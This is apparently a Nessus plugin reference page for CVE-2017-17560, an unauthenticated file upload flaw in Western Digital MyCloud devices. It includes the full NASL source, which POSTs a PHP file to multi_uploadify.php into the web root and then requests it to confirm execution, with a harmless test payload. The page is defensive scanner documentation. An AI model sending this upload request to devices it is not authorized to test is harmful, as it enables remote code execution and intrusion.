Western Digital MyCloud Unauthenticated File Upload - Nessus
Critical Plugin ID: 105732This page contains detailed information about the Western Digital MyCloud Unauthenticated File Upload Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.
Plugin Overview
ID: 105732
Name: Western Digital MyCloud Unauthenticated File Upload
Filename: wd_mycloud_multiupload.nasl
Vulnerability Published: 2017-11-16
This Plugin Published: 2018-01-10
Last Modification Time: 2019-11-08
Plugin Version: 1.5
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies:
wd_mycloud_detect.nbin
Required KB Items [?]: installed_sw/WD MyCloud
Vulnerability Information
Severity: Critical
Vulnerability Published: 2017-11-16
Patch Published: N/A
CVE [?]: CVE-2017-17560
CPE [?]: N/A
Synopsis
The remote device is affected by a file upload vulnerability
Description
The remote WD MyCloud device is affected by a file upload vulnerability that allows a remote attacker to upload and execute files.
Solution
Western Digital reported that they fixed this vulnerability in firmware version 2.30.174. However, Tenable has confirmed that 2.30.174 does not contain a fix.
Public Exploits
Target Network Port(s): 80, 443, 8081
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, D2 Elliot)
Exploit Ease: No exploit is required
Here's the list of publicly known exploits and PoCs for verifying the Western Digital MyCloud Unauthenticated File Upload vulnerability:
- Metasploit: exploit/linux/http/wd_mycloud_multiupload_upload
[Western Digital MyCloud multi_uploadify File Upload Vulnerability] - Exploit-DB: exploits/php/remote/43356.rb
[EDB-43356: Western Digital MyCloud - 'multi_uploadify' File Upload (Metasploit)] - D2 Elliot: western_digital_my_cloud_file_upload.html
[Western Digital My Cloud File Upload]
Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.
WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.
Risk Information
CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:C/I:C/A:C/E:F/RL:OF/RC:C
CVSS Base Score: | 10.0 (High) |
Impact Subscore: | 10.0 |
Exploitability Subscore: | 10.0 |
CVSS Temporal Score: | 8.3 (High) |
CVSS Environmental Score: | NA (None) |
Modified Impact Subscore: | NA |
Overall CVSS Score: | 8.3 (High) |
CVSS Base Score: | 9.8 (Critical) |
Impact Subscore: | 5.9 |
Exploitability Subscore: | 3.9 |
CVSS Temporal Score: | 9.1 (Critical) |
CVSS Environmental Score: | NA (None) |
Modified Impact Subscore: | NA |
Overall CVSS Score: | 9.1 (Critical) |
Go back to menu.
Plugin Source
This is the wd_mycloud_multiupload.nasl nessus plugin source code. This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
#
# (C) Tenable Network Security, Inc.
#
include("compat.inc");
if (description)
{
script_id(105732);
script_version("1.5");
script_cvs_date("Date: 2019/11/08");
script_cve_id("CVE-2017-17560");
script_name(english:"Western Digital MyCloud Unauthenticated File Upload");
script_summary(english:"Uploads a file to the MyCloud device");
script_set_attribute(attribute:"synopsis", value:
"The remote device is affected by a file upload vulnerability");
script_set_attribute(attribute:"description", value:
"The remote WD MyCloud device is affected by a file upload vulnerability
that allows a remote attacker to upload and execute files.");
# http://gulftech.org/advisories/WDMyCloud%20Multiple%20Vulnerabilities/125
script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?d671658a");
script_set_attribute(attribute:"see_also", value:"https://www.exploitee.rs/index.php/Western_Digital_MyCloud");
script_set_attribute(attribute:"solution", value:
"Western Digital reported that they fixed this vulnerability in firmware
version 2.30.174. However, Tenable has confirmed that 2.30.174 does not
contain a fix.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"d2_elliot_name", value:"Western Digital My Cloud File Upload");
script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
script_set_attribute(attribute:"metasploit_name", value:'Western Digital MyCloud multi_uploadify File Upload Vulnerability');
script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"2017/11/16");
script_set_attribute(attribute:"plugin_publication_date", value:"2018/01/10");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
script_category(ACT_DESTRUCTIVE_ATTACK);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_dependencies("wd_mycloud_detect.nbin");
script_require_keys("installed_sw/WD MyCloud");
script_require_ports("Services/www", 80, 443, 8081);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
appname = "WD MyCloud";
get_install_count(app_name:appname, exit_if_zero:TRUE);
port = get_http_port(default:80, embedded:TRUE);
install = get_single_install(app_name:appname, port:port);
# generate the payload
name = SCRIPT_NAME - ".nasl" + "_" + unixtime();
upload = '--------------------------275ea22986aa6a17\r\n' +
'Content-Disposition: form-data; name="Filedata[]"; filename="' + name + '.php"\r\n' +
'Content-Type: application/octet-stream\r\n\r\n' +
'<?php print("Hello from Nessus!"); ?>\r\n' +
'--------------------------275ea22986aa6a17--\r\n';
# send the exploit
res = http_send_recv3(
method:'POST',
item:'/web/jquery/uploader/multi_uploadify.php?folder=/var/www/',
port:port,
content_type:'multipart/form-data; boundary=------------------------275ea22986aa6a17',
data:upload,
exit_on_fail:TRUE);
if (empty_or_null(res) || "302" >!< res[0])
{
audit(AUDIT_DEVICE_NOT_VULN, "The " + install["model"]);
}
# get the page we created
res = http_send_recv3(method:'GET', item:'/' + name + '.php', port:port);
if (empty_or_null(res) || "200" >!< res[0] || "Hello from Nessus!" >!< res[2])
{
audit(AUDIT_DEVICE_NOT_VULN, "The " + install["model"]);
}
file_location = build_url(qs:'/' + name + '.php', port:port);
report = 'Nessus created a new page at:\n\n' + file_location + '\n';
security_report_v4(port:port, severity:SECURITY_HOLE, extra:report);
The latest version of this script can be found in these locations depending on your platform:
- Linux / Unix:
/opt/nessus/lib/nessus/plugins/wd_mycloud_multiupload.nasl
- Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\wd_mycloud_multiupload.nasl
- Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/wd_mycloud_multiupload.nasl
Go back to menu.
How to Run
Here is how to run the Western Digital MyCloud Unauthenticated File Upload as a standalone plugin via the Nessus web user interface (https://localhost:8834/):
- Click to start a New Scan.
- Select Advanced Scan.
- Navigate to the Plugins tab.
- On the top right corner click to Disable All plugins.
- On the left side table select CGI abuses plugin family.
- On the right side table select Western Digital MyCloud Unauthenticated File Upload plugin ID 105732.
- Specify the target on the Settings tab and click to Save the scan.
- Run the scan.
Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.
Basic usage:
/opt/nessus/bin/nasl wd_mycloud_multiupload.nasl -t <IP/HOST>
Run the plugin with audit trail message on the console:
/opt/nessus/bin/nasl -a wd_mycloud_multiupload.nasl -t <IP/HOST>
Run the plugin with trace script execution written to the console (useful for debugging):
/opt/nessus/bin/nasl -T - wd_mycloud_multiupload.nasl -t <IP/HOST>
Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):
/opt/nessus/bin/nasl -K /tmp/state wd_mycloud_multiupload.nasl -t <IP/HOST>
Go back to menu.
References
See also:
- https://www.tenable.com/plugins/nessus/105732
- https://www.exploitee.rs/index.php/Western_Digital_MyCloud
- http://www.nessus.org/u?d671658a
- https://vulners.com/nessus/WD_MYCLOUD_MULTIUPLOAD.NASL
- 74262 - Western Digital Arkeia 10.1.x < 10.1.19 / 10.2.x < 10.2.9 Multiple Vulnerabilities (Heartbleed)
- 74220 - Western Digital Arkeia lang Cookie Local File Inclusion
- 74221 - Western Digital Arkeia lang Cookie Crafted Local File Inclusion
- 69370 - Western Digital My Net Router main_internet.php Admin Credential Disclosure
- 14771 - Apache <= 1.3.33 htpasswd Local Overflow
- 72672 - Artweaver 3.x < 3.1.6 AWD File Buffer Overflow
- 110772 - Atlassian Crowd < 2.11.2 OAuth Plugin IconUriServlet Internal Network Resource Disclosure CSRF
- 125477 - Atlassian Crowd 2.1.x < 3.0.5 / 3.1.x < 3.1.6 / 3.2.x < 3.2.8 / 3.3.x < 3.3.5 / 3.4.x < 3.4.4 RCE Vulnerability
- 138553 - Atlassian Crowd 2.1.x < 3.0.5 / 3.1.x < 3.1.6 / 3.2.x < 3.2.8 / 3.3.x < 3.3.5 / 3.4.x < 3.4.4 RCE (direct check)
- 11205 - WarFTPd CWD/MKD Command Overflow
- 106386 - Juniper Junos Flowd TCP/IP Response Packet Handling Remote DoS (JSA10829)
- 63186 - NetIQ Privileged User Manager Password Change Authentication Bypass (version check)
- 62991 - NetIQ Privileged User Manager Password Change Authentication Bypass (intrusive check)
Version
This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file wd_mycloud_multiupload.nasl version 1.5. For more plugins, visit the Nessus Plugin Library.
Go back to menu.